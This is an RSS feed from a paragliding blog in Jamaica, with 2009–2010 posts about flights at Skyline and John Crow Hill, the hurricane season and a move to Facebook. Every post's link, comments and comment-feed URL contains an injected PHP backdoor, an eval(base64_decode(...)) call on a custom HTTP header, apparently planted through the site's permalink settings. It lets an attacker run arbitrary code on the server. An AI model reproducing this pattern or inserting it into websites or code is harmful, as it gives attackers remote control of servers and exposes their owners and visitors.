<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Flying with the 'John Crows'</title>
	<atom:link href="http://paraglidingjamaica.com/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://paraglidingjamaica.com/wordpress</link>
	<description>Paragliding Jamaica blog</description>
	<pubDate>Mon, 05 Jul 2010 22:47:30 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Blog now on Facebook</title>
		<link>http://paraglidingjamaica.com/wordpress/2010/06/23/blog-now-on-facebook/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://paraglidingjamaica.com/wordpress/2010/06/23/blog-now-on-facebook/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 23 Jun 2010 23:37:09 +0000</pubDate>
		<dc:creator>Jurgs</dc:creator>
		
		<category><![CDATA[General]]></category>

		<category><![CDATA[facebook]]></category>

		<guid isPermaLink="false">http://paraglidingjamaica.com/wordpress/?p=296</guid>
		<description><![CDATA[We have created a FaceBook Group &#8220;Paragliding Jamaica&#8221; which we will use from now on instead of this blog. The advantage is huge: most people know FB and many access it regularly. Please check it out!

We will keep the posted content in this blog as our legacy.
Fly safely,
Jurgs
]]></description>
			<content:encoded><![CDATA[<p>We have created a FaceBook Group &#8220;<a href="http://www.facebook.com/pages/manage/?act=56592246#!/group.php?gid=137209962957956">Paragliding Jamaica</a>&#8221; which we will use from now on instead of this blog. The advantage is huge: most people know FB and many access it regularly. Please check it out!</p>
<p style="text-align: center;"><a href="http://www.facebook.com/profile.php?id=1662674528&amp;ref=name#!/group.php?gid=137209962957956"><img class="aligncenter size-full wp-image-299" title="fb" src="http://paraglidingjamaica.com/wordpress/wp-content/uploads/2010/06/fb.jpg" alt="fb" width="164" height="62" /></a></p>
<p>We will keep the posted content in this blog as our legacy.</p>
<p>Fly safely,</p>
<p>Jurgs</p>
]]></content:encoded>
			<wfw:commentRss>http://paraglidingjamaica.com/wordpress/2010/06/23/blog-now-on-facebook/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Hurricane Season starts today</title>
		<link>http://paraglidingjamaica.com/wordpress/2010/06/01/hurricane-season-starts-today/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://paraglidingjamaica.com/wordpress/2010/06/01/hurricane-season-starts-today/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 01 Jun 2010 18:04:16 +0000</pubDate>
		<dc:creator>Jurgs</dc:creator>
		
		<category><![CDATA[General]]></category>

		<category><![CDATA[hurricane]]></category>

		<guid isPermaLink="false">http://paraglidingjamaica.com/wordpress/?p=292</guid>
		<description><![CDATA[Let&#8217;s see what this year&#8217;s season has to offer. Today is the official start of the Atlantic hurricane season. Respected forecasters Klotzbach &#38; Gray  indicate that the 2010 Atlantic hurricane season will have significantly more activity than the average 1950-2000 season. They estimate that 2010 will have about 8 hurricanes (average is 5.9), 15 named [...]]]></description>
			<content:encoded><![CDATA[<p>Let&#8217;s see what this year&#8217;s season has to offer. Today is the official start of the Atlantic hurricane season. Respected forecasters Klotzbach &amp; Gray  indicate that the 2010 Atlantic hurricane season will have significantly more activity than the average 1950-2000 season. They estimate that 2010 will have about 8 hurricanes (average is 5.9), 15 named storms (average is 9.6), 75 named storm days (average is 49.1), 35 hurricane days (average is 24.5), 4 major (Category 3-4-5) hurricanes (average is 2.3) and 10 major hurricane days (average is 5.0).</p>
<p>September is statistically the month with the strongest hurricane incidence in Jamaica. This is how an old Jamaican saying goes:</p>
<p style="padding-left: 30px;">June too soon<br />
July stand by<br />
August look out you must<br />
September remember<br />
October all over</p>
<p>Nevertheless, we will still be able to fly our ultralight crafts - just not during a hurricane of course. <img src='http://paraglidingjamaica.com/wordpress/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Fly and land safely.</p>
<p>Jurgs</p>
]]></content:encoded>
			<wfw:commentRss>http://paraglidingjamaica.com/wordpress/2010/06/01/hurricane-season-starts-today/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>We like those afternoon flights during the dry season</title>
		<link>http://paraglidingjamaica.com/wordpress/2010/03/16/we-like-those-afternoon-flights-during-the-dry-season/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://paraglidingjamaica.com/wordpress/2010/03/16/we-like-those-afternoon-flights-during-the-dry-season/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 22:45:54 +0000</pubDate>
		<dc:creator>Jurgs</dc:creator>
		
		<category><![CDATA[Skyline]]></category>

		<category><![CDATA[AnnaK]]></category>

		<category><![CDATA[Conall]]></category>

		<category><![CDATA[Dale]]></category>

		<category><![CDATA[dry season]]></category>

		<category><![CDATA[soaring]]></category>

		<category><![CDATA[visitors]]></category>

		<category><![CDATA[Vivian]]></category>

		<guid isPermaLink="false">http://paraglidingjamaica.com/wordpress/?p=275</guid>
		<description><![CDATA[In the dry season (February / March) when conditions tend to be too strong at midday, afternoon flights from Skyline can be wonderful, relaxing and mellow. Last weekend on both afternoons a group of five pilots (AnnaK, Conall, Dale, Neil from UK and Jurgs) met at Skyline to launch into buoyant ridge lift. We were [...]]]></description>
			<content:encoded><![CDATA[<p>In the dry season (February / March) when conditions tend to be too strong at midday, afternoon flights from Skyline can be wonderful, relaxing and mellow. Last weekend on both afternoons a group of five pilots (AnnaK, Conall, Dale, Neil from UK and Jurgs) met at Skyline to launch into buoyant ridge lift. We were riding that anabatic flow generated by the hot sun over Kingston for hours. The sky felt unusually crowded and sometimes you really had to look out for space to turn, hoping the other pilots would respect the ridge rules.</p>
<p><div id="attachment_276" class="wp-caption aligncenter" style="width: 489px"><img class="size-large wp-image-276" title="conall-ak-dale" src="http://paraglidingjamaica.com/wordpress/wp-content/uploads/2010/03/conall-ak-dale-479x379.jpg" alt="Conall, AnnaK and Dale" width="479" height="379" /><p class="wp-caption-text">Conall, AnnaK and Dale</p></div></p>
<p>Animal-loving AnnaK said she could see the eyes of a couple of mating John Crows when they were flying really close to her. Pilot in training, Vivian who was giving us a hand at the launch, reckoned that he &#8216;felt no pain in his knee&#8217; when we were all floating effortless in the air a few hundred feet above him.</p>
<p>Let&#8217;s face it, paragliding is a real treat for us who fly, as much as for spectators on the ground.</p>
<p>Jurgs</p>
]]></content:encoded>
			<wfw:commentRss>http://paraglidingjamaica.com/wordpress/2010/03/16/we-like-those-afternoon-flights-during-the-dry-season/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Wedding crashers by air</title>
		<link>http://paraglidingjamaica.com/wordpress/2010/02/28/wedding-crashers-by-air/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://paraglidingjamaica.com/wordpress/2010/02/28/wedding-crashers-by-air/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 00:02:11 +0000</pubDate>
		<dc:creator>Jurgs</dc:creator>
		
		<category><![CDATA[Skyline]]></category>

		<category><![CDATA[soaring]]></category>

		<category><![CDATA[wedding crasher]]></category>

		<guid isPermaLink="false">http://paraglidingjamaica.com/wordpress/?p=267</guid>
		<description><![CDATA[The weather forecast for Saturday called for a southerly breeze - quite an unusual phenomenon for Jamaica. A cold front was pushing through from the N earlier this week providing for 15&#8243; of snow up in New York.
The regular Skyline suspects meet at the launch after midday (thanks Reva &#38; Ricardo for the shuttle). They [...]]]></description>
			<content:encoded><![CDATA[<p>The weather forecast for Saturday called for a southerly breeze - quite an unusual phenomenon for Jamaica. A cold front was pushing through from the N earlier this week providing for 15&#8243; of snow up in New York.</p>
<p>The regular Skyline suspects meet at the launch after midday (thanks Reva &amp; Ricardo for the shuttle). They launch into S ridge lift mixed with choppy thermals. Veteran Jurgs seems to have the least &#8216;bump tolerance&#8217; and leads the pack to go down for a lunch break.</p>
<p>At 3 pm conditions are much smoother and Conall, Dale &amp; Jurgs launch again. Soaring along the ridge for over half an hour they provide for great entertainment to a wedding party waiting for the ceremony to start and having drinks at the pool.</p>
<p style="text-align: center;">
<p><div id="attachment_273" class="wp-caption aligncenter" style="width: 310px"><img class="size-medium wp-image-273" title="wedding-crashers1" src="http://paraglidingjamaica.com/wordpress/wp-content/uploads/2010/02/wedding-crashers1-300x225.jpg" alt="Nyi Nyi / Bhoorasingh wedding party on Skyline " width="300" height="225" /><p class="wp-caption-text">Nyi Nyi / Bhoorasingh wedding party on Skyline </p></div></p>
<p>Later in the afternoon, rain clouds are threatening from the NW and we decide to go down and call it a day. We are content we were able to once again make paragliding more visible in Jamaica as a lot of people were witnessing our flying session today.</p>
<p>Jurgs</p>
]]></content:encoded>
			<wfw:commentRss>http://paraglidingjamaica.com/wordpress/2010/02/28/wedding-crashers-by-air/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Another nice weekend at Skyline</title>
		<link>http://paraglidingjamaica.com/wordpress/2010/02/08/another-nice-weekend-at-skyline/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://paraglidingjamaica.com/wordpress/2010/02/08/another-nice-weekend-at-skyline/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 20:15:21 +0000</pubDate>
		<dc:creator>Jurgs</dc:creator>
		
		<category><![CDATA[Skyline]]></category>

		<category><![CDATA[Conall]]></category>

		<category><![CDATA[Dale]]></category>

		<category><![CDATA[Francois]]></category>

		<category><![CDATA[Jeremy]]></category>

		<category><![CDATA[pre-frontal]]></category>

		<guid isPermaLink="false">http://paraglidingjamaica.com/wordpress/?p=258</guid>
		<description><![CDATA[Saturday had plenty of wind and we only met at 4pm for a sunset cruise: special guest from France - Francois, Dale, Conall &#38; Jurgs. On his second flight Conall almost had to turn on the head lights to find the LZ as the sun was already setting when he finally landed.
On Sunday the wind [...]]]></description>
			<content:encoded><![CDATA[<p>Saturday had plenty of wind and we only met at 4pm for a sunset cruise: special guest from France - Francois, Dale, Conall &amp; Jurgs. On his second flight Conall almost had to turn on the head lights to find the LZ as the sun was already setting when he finally landed.</p>
<p>On Sunday the wind was still providing for strong lift and sink. Francois, Dale &amp; Jurgs had two flights each with good lift up to 3,000 ft, while Conall dedicated his day to math research and Jeremy took time to detox <img src='http://paraglidingjamaica.com/wordpress/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> However, the bumpy air kind of spoiled the fun a bit.</p>
<p>Special thanks to Vivian for his logistical support! We hope you soon will enjoy airtime yourself.</p>
<p><div id="attachment_259" class="wp-caption aligncenter" style="width: 310px"><img class="size-medium wp-image-259" title="dale100207" src="http://paraglidingjamaica.com/wordpress/wp-content/uploads/2010/02/dale100207-300x215.jpg" alt="Dale heading towards LZ" width="300" height="215" /><p class="wp-caption-text">Dale heading towards LZ</p></div></p>
<p>As of midday a cold front started to move in and after our late lunch the sky was 100% overcast. After weeks of drought, Kingston actually got a cm of well needed rain in the evening.</p>
<p>Jurgs</p>
]]></content:encoded>
			<wfw:commentRss>http://paraglidingjamaica.com/wordpress/2010/02/08/another-nice-weekend-at-skyline/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Gorgeous late afternoon flight from Skyline</title>
		<link>http://paraglidingjamaica.com/wordpress/2010/02/01/gorgeous-late-afternoon-flight-from-skyline/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://paraglidingjamaica.com/wordpress/2010/02/01/gorgeous-late-afternoon-flight-from-skyline/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 01 Feb 2010 15:28:25 +0000</pubDate>
		<dc:creator>Jurgs</dc:creator>
		
		<category><![CDATA[Skyline]]></category>

		<category><![CDATA[cloudbase]]></category>

		<category><![CDATA[cumulous]]></category>

		<category><![CDATA[Dale]]></category>

		<category><![CDATA[dry season]]></category>

		<category><![CDATA[UTECH]]></category>

		<guid isPermaLink="false">http://paraglidingjamaica.com/wordpress/?p=251</guid>
		<description><![CDATA[After a Sunday sledride we went home around midday as drizzle was threatening to spoil the day. Dale went back to the flying site in the afternoon when conditions had improved and did a short flight around 3 pm. His phone call and nice cu above Skyline made me rush back to the LZ, pick-up [...]]]></description>
			<content:encoded><![CDATA[<p>After a Sunday sledride we went home around midday as drizzle was threatening to spoil the day. Dale went back to the flying site in the afternoon when conditions had improved and did a short flight around 3 pm. His phone call and nice cu above Skyline made me rush back to the LZ, pick-up Dale and drive-up to launch. Conditions at 4 pm were light but shortly after forward launching and almost losing my cockpit I caught a nice thermal which got me all the way up to cloud base at 3,800 ft. Blissful! Dale could not stand it and decided to launch as well. We spent about <a href="http://xc.dhv.de/xc/modules/leonardo/index.php?name=leonardo&#038;op=show_flight&#038;flightID=125261">an hour thermaling and soaring</a> together along the Skyline ridge all the way to IVOR and could have easily gone to Constant Spring. Trade winds on the windward side of Dallas and Long Mountain were blowing at 20-25 mls/h and sometimes made it a bit rough and uncomfortable when breaking through.</p>
<p>We both landed in the UTECH front field in plenty head wind, left our bags with the security at the gate and walked/hitch hiked back to Skyline for our cars. When we finally reached Skyline the sun was setting and we drove home with a big smile on our faces. What a marvellous way to spend a Sunday afternoon in January while Northern Europe and America are covered in snow! Seems like the dry season is upon us already.</p>
<p>Sorry Jeremy, Conall and AnnaK you missed this opportunity.</p>
<p>Happy Birthday, Dale!</p>
<p>Jurgs</p>
]]></content:encoded>
			<wfw:commentRss>http://paraglidingjamaica.com/wordpress/2010/02/01/gorgeous-late-afternoon-flight-from-skyline/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>John Crow Hill, New Malvern - a success!</title>
		<link>http://paraglidingjamaica.com/wordpress/2010/01/05/john-crow-hill-new-malvern-a-success/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://paraglidingjamaica.com/wordpress/2010/01/05/john-crow-hill-new-malvern-a-success/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 05 Jan 2010 05:20:10 +0000</pubDate>
		<dc:creator>Jurgs</dc:creator>
		
		<category><![CDATA[Malvern - John Crow Hill]]></category>

		<category><![CDATA[Conall]]></category>

		<category><![CDATA[Dale]]></category>

		<category><![CDATA[John Crow Hill]]></category>

		<category><![CDATA[New Malvern]]></category>

		<category><![CDATA[St. Elizabeth]]></category>

		<guid isPermaLink="false">http://paraglidingjamaica.com/wordpress/?p=240</guid>
		<description><![CDATA[On the first weekend of the new year, Dale, Conall and Jurgen rush back to New Malvern to fly from the newly discovered mountain site. Amazing conditions provide for long thermal flights and first XC attempts!
The launch site is wide and deep - a pilot&#8217;s dream! We practised forward and reverse launches and were able [...]]]></description>
			<content:encoded><![CDATA[<p>On the first weekend of the new year, Dale, Conall and Jurgen rush back to New Malvern to <a title="flying from John Crow Hill, Malvern" href="http://www.youtube.com/watch?v=w4MBH2IJg28" target="_blank">fly from the newly discovered mountain site</a>. Amazing conditions provide for long thermal flights and first <a href="http://xc.dhv.de/xc/modules/leonardo/index.php?name=leonardo&amp;op=show_flight&amp;flightID=123145">XC</a> attempts!</p>
<p><div id="attachment_241" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.youtube.com/watch?v=w4MBH2IJg28" target="_blank"><img class="size-medium wp-image-241 " title="click for video" src="http://paraglidingjamaica.com/wordpress/wp-content/uploads/2010/01/view_nw-300x225.jpg" alt="NW view of mountain ridge from 2,500 ft" width="300" height="225" /></a><p class="wp-caption-text">NW view of mountain ridge from 2,500 ft                          (click on photo to see video)</p></div></p>
<p>The launch site is wide and deep - a pilot&#8217;s dream! We practised forward and reverse launches and were able to climb to &gt;3000 ft asl. This side is also suitable for beginner training, provided that the weather co-operates.  Trade winds could be a problem.</p>
<p>1600 ft below launch there is ample landing space. Village folks approach the pilots after landing and are not shy to be photographed.</p>
<p style="text-align: left;">
<p><div id="attachment_242" class="wp-caption aligncenter" style="width: 310px"><img class="size-medium wp-image-242" title="dale_landing" src="http://paraglidingjamaica.com/wordpress/wp-content/uploads/2010/01/dale_landing-300x225.jpg" alt="Dale coming into landing" width="300" height="225" /><p class="wp-caption-text">Dale coming into landing</p></div></p>
<p><div id="attachment_243" class="wp-caption aligncenter" style="width: 310px"><img class="size-medium wp-image-243" title="conall_and_village_beauties" src="http://paraglidingjamaica.com/wordpress/wp-content/uploads/2010/01/conall_and_village_beauties-300x225.jpg" alt="Conall &amp; his ground crew" width="300" height="225" /><p class="wp-caption-text">Conall &amp; his ground crew</p></div></p>
<p style="text-align: left;">Let&#8217;s go back soon!!!</p>
<p style="text-align: left;">Jurgs</p>
]]></content:encoded>
			<wfw:commentRss>http://paraglidingjamaica.com/wordpress/2010/01/05/john-crow-hill-new-malvern-a-success/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>New flying site near Treasure Beach</title>
		<link>http://paraglidingjamaica.com/wordpress/2009/12/29/new-flying-site-near-treasure-beach/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://paraglidingjamaica.com/wordpress/2009/12/29/new-flying-site-near-treasure-beach/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 15:25:59 +0000</pubDate>
		<dc:creator>Jurgs</dc:creator>
		
		<category><![CDATA[Malvern - John Crow Hill]]></category>

		<category><![CDATA[Conall]]></category>

		<category><![CDATA[Dale]]></category>

		<category><![CDATA[John Crow Hill]]></category>

		<category><![CDATA[New Malvern]]></category>

		<category><![CDATA[new site]]></category>

		<category><![CDATA[Treasure Beach]]></category>

		<guid isPermaLink="false">http://paraglidingjamaica.com/wordpress/?p=227</guid>
		<description><![CDATA[On Christmas Eve when &#8216;normal&#8217; people finish wrapping their gifts to put under the tree, three obsessed paragliding pilots went out on a site finding mission to Mandeville and Malvern.
The Kirkvine Hill, NE of Mandeville, has a clear patch (2700 ft asl) on the SE face which would allow launching. However, access is a little [...]]]></description>
			<content:encoded><![CDATA[<p>On Christmas Eve when &#8216;normal&#8217; people finish wrapping their gifts to put under the tree, three obsessed paragliding pilots went out on a site finding mission to Mandeville and Malvern.</p>
<p>The Kirkvine Hill, NE of Mandeville, has a clear patch (2700 ft asl) on the SE face which would allow launching. However, access is a little difficult even with a 4WD.</p>
<p style="text-align: left;">
<p><div id="attachment_228" class="wp-caption aligncenter" style="width: 310px"><img class="size-medium wp-image-228" title="dec26-013-large" src="http://paraglidingjamaica.com/wordpress/wp-content/uploads/2009/12/dec26-013-large-300x225.jpg" alt="John Crow Hill - New Malvern (w Treasure Beach in the back)" width="300" height="225" /><p class="wp-caption-text">View from John Crow Hill launch S  (with Treasure Beach in the background)</p></div></p>
<p>A much more promising site is what the locals call &#8216;John Crow Hill&#8217; (1800 ft asl) of New Malvern / Mountainside. It is a drive-up and overlooks the plains N of Treasure Beach. Even though the ridge is in SE-NW direction, the grassy launch is heading S.</p>
<p>Over Christmas, Dale successfully tested the site for a short flight, where he decided to stay in the valley on top rather than flying out into the plains. The vertical of approx. 1800 ft is very inviting and the only negative is the direction of the trade winds which may create some rotor. Dale, Conall and Jurgen are going to test the new site again on the first weekend in 2010. Until then, Happy New year and safe landings.</p>
<p>Jurgs</p>
]]></content:encoded>
			<wfw:commentRss>http://paraglidingjamaica.com/wordpress/2009/12/29/new-flying-site-near-treasure-beach/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Conall&#8217;s &#038; Dale&#8217;s flightful bliss</title>
		<link>http://paraglidingjamaica.com/wordpress/2009/12/20/conalls-dales-longest-flight/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://paraglidingjamaica.com/wordpress/2009/12/20/conalls-dales-longest-flight/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 20 Dec 2009 23:31:53 +0000</pubDate>
		<dc:creator>Jurgs</dc:creator>
		
		<category><![CDATA[Skyline]]></category>

		<category><![CDATA[cloudbase]]></category>

		<category><![CDATA[Conall]]></category>

		<category><![CDATA[Dale]]></category>

		<category><![CDATA[El Nino]]></category>

		<category><![CDATA[pre-frontal]]></category>

		<category><![CDATA[soaring]]></category>

		<guid isPermaLink="false">http://paraglidingjamaica.com/wordpress/?p=220</guid>
		<description><![CDATA[Bwoy, those pre-frontal conditions on Sat, Dec 19th were lovely. Conall launched at 12:30, Dale at 12:40 and Jurgen joined them ten minutes later. All three of them were soaring up to 2&#8242;500 ft where the ceiling seemed to be that day and wisps of clouds greeted them.
At 14:00 they decided to head towards the [...]]]></description>
			<content:encoded><![CDATA[<p>Bwoy, those pre-frontal conditions on Sat, Dec 19th were lovely. Conall launched at 12:30, Dale at 12:40 and Jurgen joined them ten minutes later. All three of them were soaring up to 2&#8242;500 ft where the ceiling seemed to be that day and wisps of clouds greeted them.</p>
<p>At 14:00 they decided to head towards the landing at UTECH into 15 - 20 kmh of southerly breeze. My guys were in awe to be in the air for such an extended time! (This year&#8217;s northerly conditions due to El Nino had not offered easy soaring conditions very often.)</p>
<p align="center"><object width="320" height="265" data="http://www.youtube.com/v/D6DvdpL68ys&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/D6DvdpL68ys&amp;hl=en_US&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /></object></p>
<p style="text-align: left;">
<p>The following night we had 2.5&#8243; of rain while North America got stuck in 10-20&#8243; of snow.</p>
<p>Jurgs</p>
]]></content:encoded>
			<wfw:commentRss>http://paraglidingjamaica.com/wordpress/2009/12/20/conalls-dales-longest-flight/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Bouyant conditions on last day of hurricane season</title>
		<link>http://paraglidingjamaica.com/wordpress/2009/11/30/bouyant-conditions-on-last-day-of-hurricane-season/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://paraglidingjamaica.com/wordpress/2009/11/30/bouyant-conditions-on-last-day-of-hurricane-season/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 30 Nov 2009 15:27:46 +0000</pubDate>
		<dc:creator>Jurgs</dc:creator>
		
		<category><![CDATA[Skyline]]></category>

		<category><![CDATA[cloudbase]]></category>

		<category><![CDATA[IVOR]]></category>

		<category><![CDATA[uwi]]></category>

		<guid isPermaLink="false">http://paraglidingjamaica.com/wordpress/?p=213</guid>
		<description><![CDATA[Great lift around midday! Cloud base at 3,500ft. Wind: W10kmh
Got some drizzle but westerly conditions allowed me to turn back above IVOR and go to UWI. Not very often that we can do that!
UWI security got very suspicious when a &#8216;parachute&#8217; went down on their premises.
An hour later we had 2&#8243; of rain while having [...]]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_214" class="wp-caption aligncenter" style="width: 310px"><a href="http://xc.dhv.de/xc/modules/leonardo/index.php?name=leonardo&amp;op=show_flight&amp;flightID=120943"><img class="size-medium wp-image-214" title="approaching_uwi" src="http://paraglidingjamaica.com/wordpress/wp-content/uploads/2009/11/approaching_uwi-300x225.jpg" alt="August Town ahead" width="300" height="225" /></a><p class="wp-caption-text">August Town ahead</p></div></p>
<p>Great lift around midday! Cloud base at 3,500ft. Wind: W10kmh</p>
<p>Got some drizzle but westerly conditions allowed me to turn back above <a href="http://xc.dhv.de/xc/modules/leonardo/index.php?name=leonardo&amp;op=show_flight&amp;flightID=120943">IVOR and go to UWI</a>. Not very often that we can do that!</p>
<p>UWI security got very suspicious when a &#8216;parachute&#8217; went down on their premises.<br />
An hour later we had 2&#8243; of rain while having lunch at Wendy&#8217;s.</p>
<p>Jurgs</p>
]]></content:encoded>
			<wfw:commentRss>http://paraglidingjamaica.com/wordpress/2009/11/30/bouyant-conditions-on-last-day-of-hurricane-season/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

